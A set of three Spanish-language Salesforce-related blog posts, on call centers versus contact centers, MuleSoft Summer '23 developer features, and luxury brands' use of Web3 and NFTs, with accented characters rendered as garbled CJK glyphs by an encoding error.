驴C贸mo es una experiencia positiva del cliente? Se trata de reunirse con los clientes donde est谩n, utilizando los m茅todos de comunicaci贸n y la tecnolog铆a que prefieren, y brindando una variedad de opciones de servicio, en lugar de limitar el servicio solo por tel茅fono. A medida que las preferencias de los clientes evolucionan con la tecnolog铆a, m谩s centros de llamadas se est谩n transformando en centros de contacto .

Modernice su centro de contacto

La combinaci贸n correcta de canales y herramientas de servicio al cliente puede ayudarlo a ser m谩s eficiente y mejorar la satisfacci贸n del cliente. Nuestra gu铆a revela c贸mo las organizaciones de servicio de alto rendimiento lo hacen posible.

驴Qu茅 es un centro de llamadas?

Un centro de llamadas es un grupo de servicio al cliente remoto o local que brinda servicio al cliente por tel茅fono. Los centros de llamadas pueden emplear desde unos pocos agentes para peque帽as y medianas empresas hasta cientos para grandes corporaciones.

Cada agente generalmente maneja varias llamadas telef贸nicas por d铆a para ayudar con los problemas de los clientes, desde consultas de facturaci贸n hasta problemas t茅cnicos complejos. Algunos centros de llamadas utilizan software de administraci贸n de relaciones con los clientes (CRM) para resolver problemas m谩s r谩pido y proporcionar a los agentes datos de clientes, pero muchos centros de llamadas todav铆a est谩n trabajando para adoptar esta tecnolog铆a.

Un centro de contacto es un centro de servicio al cliente que proporciona una variedad de canales de comunicaci贸n, incluidos tel茅fono, correo electr贸nico, redes sociales, chat, SMS y mensajer铆a, videoconferencia , uso compartido de pantalla y m谩s. Los agentes suelen tener la experiencia para trabajar en todos estos canales o en un subconjunto especializado seg煤n la estructura de su equipo.

Un centro de contacto tambi茅n utiliza la tecnolog铆a CRM para capacitar a los agentes para ayudar a los clientes, acelerar los tiempos de respuesta y brindar interacciones y ofertas personalizadas.

Las preferencias de comunicaci贸n del cliente var铆an ampliamente. Alguien que est谩 en movimiento puede marcar una l铆nea de servicio al cliente, mientras que alguien en su escritorio puede comunicarse con un agente a trav茅s del chat en vivo.

Cuando los centros de contacto enrutan las solicitudes de m煤ltiples canales a los agentes de servicio en funci贸n de su disponibilidad y conjunto de habilidades, los agentes de servicio pueden realizar m煤ltiples tareas y aumentar su eficiencia.

Una m茅trica clave para el 茅xito del centro de contacto es la reducci贸n del trabajo manual de los agentes. Los agentes tienen tareas como notas de casos, transferencias de datos y enrutamiento de llamadas, lo que puede reducir la velocidad y la eficiencia del servicio que brindan.

Los centros de contacto utilizan la automatizaci贸n y la inteligencia artificial (IA) para reducir estas tareas de la carga de trabajo de sus agentes para que puedan concentrarse en resolver los problemas de los clientes y brindar una experiencia de servicio perfecta. Estas tecnolog铆as pueden hacer cosas como transcribir autom谩ticamente llamadas telef贸nicas, sugerir respuestas de chat en vivo o encontrar art铆culos de ayuda para que los agentes los compartan con los clientes.

La IA generativa est谩 facilitando a煤n m谩s la eficiencia. Cuando se aplica al servicio, la IA generativa puede tomar datos del cliente, como una consulta del cliente o informaci贸n de la cuenta, y crear algo nuevo a partir de ellos. Algunos ejemplos de estos poderosos casos de uso incluyen la generaci贸n autom谩tica de art铆culos de conocimientos basados en datos de resoluci贸n de casos, brindar respuestas personalizadas a preguntas de chat en vivo y extraer datos en tiempo real para ayudar a los agentes a resolver los problemas de los clientes r谩pidamente.

Los centros de llamadas tienen un enfoque singular: brindar un servicio de calidad por tel茅fono. Los centros de contacto adoptan un enfoque omnicanal que muchos consumidores encuentran m谩s conveniente (ya no hay que esperar en la l铆nea telef贸nica ni escuchar la serenata de la m煤sica del ascensor).

Elecci贸n de canal

Sus clientes solo quieren que sus problemas se resuelvan lo m谩s r谩pido posible. Al final del d铆a, debe reunirse con ellos donde est谩n a trav茅s de sus canales de comunicaci贸n preferidos, que variar谩n seg煤n el tipo de servicio o producto que ofrezca.

Con un centro de contacto, puede llegar a los clientes en estos canales:

  • Tel茅fono
  • Correo electr贸nico
  • Medios de comunicaci贸n social
  • Formularios en l铆nea
  • Bases de conocimiento
  • Portales de autoservicio para clientes
  • Chat en l铆nea/soporte en vivo
  • aplicaciones de mensajer铆a
  • Texto/SMS
  • Aplicaciones m贸viles
  • Comunidades y foros de discusi贸n
  • Soporte de v铆deo

Su industria influir谩 en gran medida en los canales de servicio al cliente que brinda su empresa. 驴Eres una empresa de servicios p煤blicos? Entonces, el autoservicio , los SMS y el tel茅fono son fundamentales para su centro de contacto. 驴Qu茅 tal un minorista de comercio electr贸nico? Sus clientes ya est谩n comprando en l铆nea; poder comunicarse con usted a trav茅s de la web o el chat m贸vil probablemente sea importante para ellos.

A pesar de la expansi贸n y aceptaci贸n de los canales digitales y la variedad de preferencias de los clientes, el 81 % de los profesionales de servicios dicen que el tel茅fono es un canal preferido para problemas complejos, por lo que incluso los centros de contacto digitales deben mantener abiertas las l铆neas telef贸nicas.

Servicio al cliente personalizado

Una diferencia importante entre un centro de llamadas y un centro de contacto es el uso de los datos del cliente y la tecnolog铆a CRM para brindar un servicio al cliente personalizado.

Cuando el tel茅fono es la 煤nica opci贸n para ponerse en contacto con una empresa, las interacciones tienden a ser simples, como restablecer la contrase帽a de una cuenta o hacer una pregunta, y menos frecuentes con el mismo cliente. Y dado que la tecnolog铆a CRM solo la utilizan algunos centros de llamadas, los agentes pueden tener informaci贸n limitada sobre un cliente y sus preferencias.

Los centros de contacto tienden a manejar tareas m谩s complejas. Los problemas m谩s simples de los clientes generalmente se resuelven a trav茅s de canales de bajo contacto (piense en art铆culos de autoservicio, chatbots , SMS o chat en vivo), mientras que los problemas m谩s complejos se manejan por tel茅fono.

Un agente de servicio en un centro de contacto usa la instancia de CRM de la empresa para hacer referencia a interacciones pasadas , ver qu茅 productos o paquetes tiene actualmente el cliente y brindar opciones personalizadas de ventas cruzadas o adicionales. Esto es posible gracias a la integraci贸n de los datos de ventas, servicios, marketing y comercio, todos canalizados a trav茅s de una 煤nica plataforma de CRM.

Habilidades de agente

Su elecci贸n de centro de contacto frente a centro de llamadas tambi茅n se reducir谩 a las habilidades de sus agentes y al presupuesto y los recursos disponibles para la capacitaci贸n de agentes.

Dado que los agentes del centro de contacto utilizan m谩s canales digitales y asincr贸nicos que los centros de llamadas, deben poder realizar m煤ltiples tareas y deben sentirse c贸modos con la tecnolog铆a digital. Los agentes del centro de llamadas, por otro lado, deben pensar r谩pidamente y mantener la calma para reducir las situaciones en tiempo real.

Los agentes de servicio al cliente deben tener la combinaci贸n correcta de habilidades blandas y duras para cumplir con las expectativas del cliente. Cuando se trata de habilidades blandas, deben ser comunicadores y oyentes competentes, buenos pensadores cr铆ticos y solucionadores de problemas, y ser capaces de resolver conflictos en situaciones tensas. Cuando se trata de habilidades duras, necesitan saber c贸mo usar tableros, herramientas de servicio, consolas, herramientas de automatizaci贸n y acceso a datos de clientes para hacer bien su trabajo y hacer recomendaciones m谩s personalizadas a los clientes en tiempo real.

Los centros de llamadas son m谩s sencillos de operar, con altos costos operativos provenientes de la plantilla y los sistemas telef贸nicos o el software. Su simplicidad puede ser atractiva para las empresas que desean evitar complicar demasiado su estrategia de servicio al cliente, especialmente si tienen una base de clientes peque帽a y conocida que prefiere obtener el servicio por tel茅fono.

Por el contrario, los centros de contacto personalizan la experiencia del cliente al proporcionar varios canales de servicio seg煤n las preferencias del cliente. Esto facilita que los problemas se resuelvan de forma asincr贸nica y los problemas m谩s complejos se resuelvan por tel茅fono. Este enfoque rentable es lo que llamamos " Cambio a escala ".

El 48% de los clientes han cambiado de marca para un mejor servicio al cliente.

Informe de estado del cliente conectado de Salesforce

Si bien los centros de contacto generalmente tienen costos continuos m谩s altos debido a las licencias de software, sus clientes tienen una mejor experiencia de servicio cuando pueden elegir c贸mo interact煤an con su negocio. Esto significa que sus clientes se sienten satisfechos o incluso encantados despu茅s de una interacci贸n de servicio, lo que conducir谩 a una puntuaci贸n CSAT m谩s alta , una mayor lealtad del cliente y generar谩 m谩s ingresos de clientes repetidos y renovados.

Estrategia de call center vs. contact center

Si no est谩 seguro de qu茅 estrategia de servicio al cliente es adecuada para usted, h谩gase las siguientes preguntas:

  • 驴Qu茅 tan grande es la base de clientes que atiendes?
    • R: Daremos servicio a un grupo demogr谩fico de nicho peque帽o
    • B: Tendremos una base de clientes amplia y diversa
  • 驴Qu茅 tan dif铆cil ser谩 resolver estos problemas para sus clientes?
    • R: La mayor铆a de los problemas son f谩ciles de resolver.
    • B: Los problemas variar谩n en complejidad
  • 驴Qu茅 tan importante es para su empresa brindar un servicio personalizado al cliente?
    • R: El servicio personalizado no es una prioridad para mi negocio
    • B: El servicio personalizado es una prioridad para mi negocio
  • 驴Qu茅 tan importante es para su negocio ofrecer m煤ltiples canales de soporte?
    • R: Tener m煤ltiples canales de soporte no es muy importante para mi negocio
    • B: Tener m煤ltiples canales de soporte es importante para mi negocio
  • 驴Su empresa tiene un presupuesto de servicio limitado o puede admitir m煤ltiples licencias de software y tecnolog铆a?
    • R: Mi negocio tiene un presupuesto limitado para servicio al cliente
    • B: Mi empresa tiene presupuesto para admitir m煤ltiples licencias de software y tecnolog铆as

Si respondi贸 en su mayor铆a con A, entonces una estrategia de centro de llamadas puede ser la mejor opci贸n para su negocio. Si respondi贸 con B en su mayor铆a, entonces un centro de contacto es la mejor estrategia para usted.

El 94% de los clientes dice que un buen servicio al cliente los hace m谩s propensos a realizar otra compra.

Informe de estado del cliente conectado de Salesforce

El servicio al cliente es el negocio de asegurarse de que sus clientes se mantengan felices y leales. Los centros de llamadas siguen siendo relevantes en ciertos contextos, pero el mundo est谩 cambiando; aseg煤rese de que sus modelos de atenci贸n al cliente cambien con 茅l.

Cree una mejor experiencia de centro de contacto

Vea c贸mo puede combinar IA, datos y CRM para conectarse en el canal correcto, personalizar cada conversaci贸n y escalar su servicio al cliente.

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Innovaciones de MuleSoft para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Innovaciones de MuleSoft para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Innovaciones de MuleSoft para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

隆脷nase a nosotros para Release Readiness Live esta semana! Los expertos en productos y los defensores de los desarrolladores analizar谩n y demostrar谩n las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisi贸n, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesi贸n de desarrolladores. 驴No puedes unirte a nosotros en vivo? La grabaci贸n se publicar谩 unas horas despu茅s de que finalice la transmisi贸n.

Introducci贸n

Con la digitalizaci贸n y la adopci贸n de la nube, estamos cobrando impulso en el espacio de integraci贸n. Para acelerar las innovaciones en el mundo digital, veamos qu茅 emocionantes funciones y lanzamientos MuleSoft tiene para ofrecer en Summer '23 a los desarrolladores.

Anypoint Code Builder: nuevas funciones beta en junio de 23

Anypoint Code Builder , o ACB para abreviar, es el IDE de 煤ltima generaci贸n de MuleSoft. Brinda a los usuarios una experiencia de desarrollo moderna y liviana para integraciones, API y automatizaci贸n, todo empaquetado en una sola herramienta unificada. Los desarrolladores pueden usar ACB en todo el ciclo de vida de API e integraci贸n, desde el dise帽o e implementaci贸n de API hasta la creaci贸n de integraciones e incluso la depuraci贸n, prueba e implementaci贸n de aplicaciones MuleSoft.

Debe preguntarse qu茅 tan diferente es de nuestro Anypoint Studio existente. En primer lugar, adoptamos VS Code como nuestra infraestructura de back-end con recomendaciones de tiempo de dise帽o basadas en IA. Y estamos llevando la reutilizaci贸n a un nivel completamente nuevo, con capacidades de bloques de construcci贸n que permiten muchos tipos de reutilizaci贸n en aplicaciones futuras.

Como muchos de ustedes ya sabr谩n, Anypoint Code Builder lanz贸 su Open Beta en enero de 2023. Desde entonces, el equipo ha estado trabajando diligentemente para implementar nuevas funciones para sus usuarios de Open Beta, comenzando con un lanzamiento en abril.

隆Estamos encantados de decir que no estamos disminuyendo la velocidad! Tenemos planeado un calendario de lanzamiento de verano emocionante con muchas caracter铆sticas nuevas y mejoras para que exploren nuestros usuarios de Open Beta.

Entonces, 驴cu谩les son las nuevas funciones que puede esperar en el lanzamiento de verano del 23 de junio?

  • Soporte extendido al avi贸n de control de la UE
  • Acceso a fragmentos globales y preempaquetados en la interfaz de usuario de Canvas
  • Busque conectores en Anypoint Exchange desde la interfaz de usuario de ACB Canvas
  • La capacidad de dise帽ar e implementar API de forma iterativa

Se espera que la extensi贸n de escritorio del mercado de VS est茅 disponible para los desarrolladores en agosto de 2023.

Nuestro lanzamiento de verano es el siguiente paso en nuestro camino hacia GA, que actualmente est谩 planificado para la segunda mitad de 2023.

Anypoint API Experience Hub: GA en junio de 23

Anypoint API Experience Hub permite a las empresas crear portales de API personalizados en minutos utilizando plantillas listas para usar para simplificar el acceso a las API y aumentar su uso y adopci贸n.

Con API Experience Hub, los administradores y desarrolladores de productos API pueden:

  • Cree y comparta portales de API sencillos utilizando plantillas predise帽adas
  • Cree portales de API de marca utilizando capacidades avanzadas de creaci贸n de portales con tecnolog铆a de Salesforce Experience Cloud
  • Aumente la adopci贸n de API en las comunidades internas y de socios con el consumo de API de autoservicio
  • Documente, gobierne y publique cualquier API en la empresa creada en cualquier puerta de enlace o entorno
  • Acceda a informaci贸n sobre el uso, la calidad y el cumplimiento de las API con an谩lisis contextuales

Los clientes podr谩n impulsar la adopci贸n de API y crear un ecosistema de API vibrante al proporcionar un 煤nico punto de acceso a todas las API empresariales (construidas en MuleSoft o de otro modo) en una experiencia atractiva.

API Experience Hub est谩 planeado para GA en junio de 2023.

Nuevas funciones de gobernanza de API: GA en julio de 2023

En 2022, se lanz贸 Anypoint API Governance. Nos ayud贸 a crear API de calidad mientras cumpl铆amos con los protocolos de seguridad y gobernanza. Actualmente, podemos identificar si la especificaci贸n API es conforme o no conforme y alertar a los usuarios si hay alg煤n problema de conformidad.

En Summer '23, ampliaremos a煤n m谩s las capacidades de API Governance a todos los aspectos del ciclo de vida de la API, desde el dise帽o de la API en el Centro de dise帽o hasta la implementaci贸n y administraci贸n de la API en API Manager. Con un gobierno de extremo a extremo, las organizaciones podr谩n garantizar que las API cumplan con las normas de cumplimiento y de la industria.

Nuevas funciones de Anypoint Studio 7.15: disponibilidad general en mayo de 2023

Con el fin de optimizar el rendimiento de Anypoint Studio y ofrecer una experiencia de integraci贸n perfecta, las siguientes funciones nuevas estar谩n disponibles para los desarrolladores. Le recomendamos que descargue la 煤ltima versi贸n de Anypoint Studio y pruebe las nuevas funciones:

  • Soporte ARM nativo: rendimiento m谩s r谩pido para usuarios en macOS
  • Opciones para excluir archivos de Studio de Windows Defender: rendimiento y estabilidad m谩s r谩pidos para los usuarios de Windows
  • Implementaci贸n mejorada a CloudHub 2.0
  • Experiencia de importaci贸n mejorada desde Design Center

Conclusi贸n

隆Esperamos que est茅 tan entusiasmado como nosotros con estas funciones! Si desea tenerlos en sus manos, simplemente inicie sesi贸n en la cuenta de prueba gratuita de 30 d铆as de Anypoint Platform y vea estos nuevos lanzamientos y herramientas.

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Sobre el Autor

Akshata Sawant es promotora s茅nior de desarrolladores en Salesforce. Es autora, bloguera y oradora, y coautora del t铆tulo, MuleSoft for Salesforce Developers . Akshata es un miembro activo de la comunidad de MuleSoft y ex embajador de MuleSoft. Le encanta leer, bailar, viajar y la fotograf铆a, y es una gran entusiasta de la comida. S铆guela en Twitter y LinkedIn.

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驴C贸mo atienden las marcas de lujo a los compradores m谩s j贸venes? Web3 y NFT

驴C贸mo atienden las marcas de lujo a los compradores m谩s j贸venes? Web3 y NFT

Marcas de lujo como Gucci y Balmain est谩n liderando la industria minorista en el uso de tecnolog铆a como tokens no fungibles (NFT) y Web3 para conectarse con los clientes y ofrecer nuevas experiencias. La creaci贸n de experiencias exclusivas y la adopci贸n de la necesidad de autoexpresi贸n digital de los consumidores m谩s j贸venes son tendencias minoristas de lujo que est谩n dando forma a c贸mo la industria minorista m谩s grande en general puede interactuar mejor con los clientes.

Hoy en d铆a, la moda de lujo tiene menos que ver con el estatus y m谩s una forma de autoexpresi贸n. Gen Z y Millennials exigen formas m谩s creativas de conectarse con sus marcas favoritas. Estos clientes favorecen la co-creaci贸n y la colaboraci贸n sobre el simple consumo. Tambi茅n son compradores conscientes que favorecen una mayor calidad y sostenibilidad, lo que influye en las marcas de lujo para que adopten el mundo de la reventa.

驴Nuevo en Web3?

Las tecnolog铆as Web3, como blockchain, tokens y el metaverso, pueden ayudar a las empresas a profundizar las relaciones con los clientes. Vea c贸mo estas tecnolog铆as pueden mejorar la lealtad del cliente y ayudarlo a lanzar l铆neas de productos digitales.

La adopci贸n de tecnolog铆a como Web3 impulsa muchas de estas tendencias minoristas de lujo, pero no necesita ser una marca de alto nivel para crear este tipo de experiencia para sus clientes.

Nuevas formas de autoexpresi贸n e identidad.

Todos tenemos una identidad digital. Su perfil de Linkedin, Instagram o Twitter son todas formas de identidad y canales para la autoexpresi贸n.

Recientemente, hemos visto plataformas como Discord, Telegram y Roblox ganar popularidad. Y a medida que surjan m谩s plataformas con Web3, las identidades digitales evolucionar谩n y la forma en que nos expresamos en ellas tambi茅n lo har谩.

En un informe reciente de Roblox Metaverse Fashion Trends , el 47% de los encuestados dijeron que usan la moda digital para expresar su individualidad. Y el 45% dijo que sus avatares representaban un personaje de fantas铆a. No es de extra帽ar que muchas marcas de lujo como Burberry, Gucci y Louis Vuitton est茅n experimentando.

A medida que las marcas exploran estas nuevas plataformas, es importante considerar la estrategia: mantenerse fiel a los valores fundamentales de su marca y c贸mo desea que sus clientes "vivan la marca".

鈥淟os productos digitales desaf铆an la cadena de valor del producto tradicional: desde el dise帽o hasta la producci贸n, la distribuci贸n y el compromiso鈥, dijo Laura Puricelli, asesora de moda de lujo del metaverso. 鈥淟os activos digitales pueden ser infinitamente creativos, sin l铆mites f铆sicos en t茅rminos de materiales鈥.

Los modelos comerciales que se aplicaron a los productos f铆sicos no siempre se traducir谩n en activos digitales. Es importante que las marcas consideren estos nuevos canales de compromiso y c贸mo las personas quieren expresarse all铆.

Uso de Web3 y NFT para conectarse con clientes m谩s j贸venes

Las marcas de lujo se enfocan en brindar experiencias memorables, compromiso personalizado y membres铆a para la lealtad a la marca. Esto es tambi茅n en lo que las generaciones m谩s j贸venes ponen m谩s 茅nfasis. Siguiendo el ejemplo de las tendencias minoristas de lujo, las marcas se est谩n enfocando m谩s en estas experiencias 煤nicas, y menos en los programas de puntos, para ganar la lealtad de los consumidores m谩s j贸venes.

Entonces, 驴qu茅 papel juegan Web3 y NFT? En los 煤ltimos a帽os, las empresas han utilizado proyectos de metaversos , realidad virtual y NFT para crear las experiencias de cliente seleccionadas que desean los compradores m谩s j贸venes. A trav茅s de proyectos NFT, las marcas crearon comunidades con beneficios exclusivos y acceso temprano a productos y servicios. Las marcas encontraron nuevos medios de participaci贸n: la 'utilidad' de un token.

Por ejemplo, la marca de ropa Scotch & Soda lanz贸 1000 NFT como parte de su iniciativa piloto Club Soda 3.0 , un tipo de programa de fidelizaci贸n. Los poseedores de tokens reciben acceso exclusivo a eventos especiales y acceso anticipado a productos. El programa ayud贸 a atraer a una audiencia compuesta por un 30 % de nuevos clientes y 2000 identificaciones de billetera.

Para hacer esto, comenzaron a promocionar Club Soda 3.0 a trav茅s de sus canales de medios tradicionales y luego lanzaron un sitio de preventa. Los clientes que se registraron obtuvieron acceso a un canal de Discord, lo que reuni贸 a estos defensores de la marca en una comunidad en l铆nea.

El rumor funcion贸, ya que acu帽aron los 1,000 NFT de Founders Pass en el primer d铆a. Tambi茅n ayud贸 a incorporar a sus consumidores que quiz谩s no conoc铆an antes las tecnolog铆as Web3. Ahora han construido relaciones m谩s profundas con sus clientes, quienes ahora son parte de una comunidad exclusiva.

Del mismo modo, marcas como Gucci, Moncler y Balmain han lanzado colecciones NFT que otorgan acceso exclusivo a un producto o evento f铆sico.

Algunas marcas de lujo tambi茅n ven esto como una puerta de entrada para atraer nuevos clientes a un precio m谩s bajo. Otros tienen como objetivo crear valor para los poseedores de fichas a trav茅s de la creaci贸n conjunta y la colaboraci贸n. A medida que estas empresas contin煤an experimentando, estamos viendo c贸mo evolucionan casos de uso y experiencias m谩s emocionantes.

Potenciando la co-creaci贸n y la colaboraci贸n

Los activos digitales y la prueba de propiedad han provocado un incendio en la econom铆a de los creadores. Artistas, dise帽adores e influencers han encontrado nuevas formas de ser recompensados, captando nuevas audiencias en nuevas plataformas.

Las marcas de lujo han utilizado esta tendencia para mostrar el talento a trav茅s de la cocreaci贸n y la colaboraci贸n. Marcas como Porsche, Salvatore Ferragamo y Nike est谩n co-creando con sus clientes y creativos. A trav茅s de NFT, han lanzado colecciones creadas conjuntamente de obras de arte digitales y productos f铆sicos.

Al aprovechar las tendencias minoristas de lujo de co-crear con creativos digitales y clientes, las empresas pueden lanzar productos m谩s r谩pido. Las marcas tambi茅n pueden capitalizar una tendencia m谩s r谩pido de esta manera. Gucci x Superplastic y Balmain x Barbie son solo dos ejemplos. Esta colaboraci贸n no solo genera una mayor conciencia de marca, sino que las empresas pueden probar el 茅xito de una colaboraci贸n en peque帽os lotes antes de lanzar una colecci贸n completa.

Tambi茅n puede usar la creaci贸n conjunta para mejorar sus conexiones con un segmento espec铆fico, definido por la propiedad de NFT.

Por ejemplo, Tiffany & Co. se dirigi贸 a los titulares de Cryptopunk NFT con su colecci贸n NFTiff . La colecci贸n result贸 en $ 12,5 millones de ingresos y se agot贸 en 20 minutos . Los titulares de Cryptopunk NFT obtuvieron acceso exclusivo para comprar un NFTiff, canjeable por un colgante personalizado de su avatar Cryptopunk.

Siguiendo el ejemplo de las tendencias minoristas de lujo, las marcas se est谩n enfocando m谩s en estas experiencias 煤nicas, y menos en los programas de puntos, para ganar la lealtad de los consumidores m谩s j贸venes.

Blockchain puede ayudar a autenticar productos de reventa

Se espera que los mercados globales de reventa de art铆culos de lujo superen los 51.000 millones de d贸lares para 2026, lo que significa que las marcas deben encontrar una manera de autenticar sus productos. Y a medida que los consumidores se vuelven m谩s conscientes a la hora de tomar decisiones de compra, aumenta la demanda de trazabilidad de los insumos.

Blockchain ofrece una soluci贸n potencial. La tecnolog铆a permite un libro mayor inmutable, una forma a prueba de manipulaciones para registrar transacciones. Esto permite la trazabilidad de la propiedad y cuenta la historia de un producto. Podemos rastrear los or铆genes de un producto, a trav茅s de la cadena de suministro y la propiedad, y garantizar la autenticidad.

Marcas como el relojero de lujo suizo Vacheron Constantin (relojero de lujo suizo) han utilizado la tecnolog铆a blockchain para certificar digitalmente la propiedad, lo que permite a los propietarios verificar el historial de propiedad e incluso asegurarlo.

Las regal铆as se pueden codificar en un certificado digital, de modo que, tras la transferencia, una parte de la transferencia vuelva a la marca.

A medida que los consumidores se vuelven m谩s conscientes y crece el mercado de reventa, las regal铆as son una forma para que las marcas sigan obteniendo ingresos por sus productos y servicios.

Hemos visto c贸mo las empresas han utilizado nuevas estrategias para construir en Web3. Las marcas se est谩n alejando de la comunicaci贸n unidireccional hacia la construcci贸n de una comunidad para involucrar a los clientes.

Al liderar con la creaci贸n de valor y la creaci贸n conjunta, las marcas pueden crear lealtad y satisfacer las demandas de los consumidores m谩s j贸venes.

Para los minoristas que est谩n considerando estas tendencias y una estrategia Web3, les recomendamos:

  1. Considere el valor, la utilidad y el beneficio que est谩 brindando a su cliente y dise帽e teniendo en cuenta los valores fundamentales de su empresa.
  2. Considere la visi贸n a largo plazo y el plan de participaci贸n. Considere una estrategia Web3 como una extensi贸n de la experiencia del cliente y la estrategia de marketing.
  3. Sigue experimentando. Todos los d铆as aparecen nuevos casos de uso e innovaciones. Las marcas que entienden el espacio tendr谩n una ventaja al interactuar con sus clientes.

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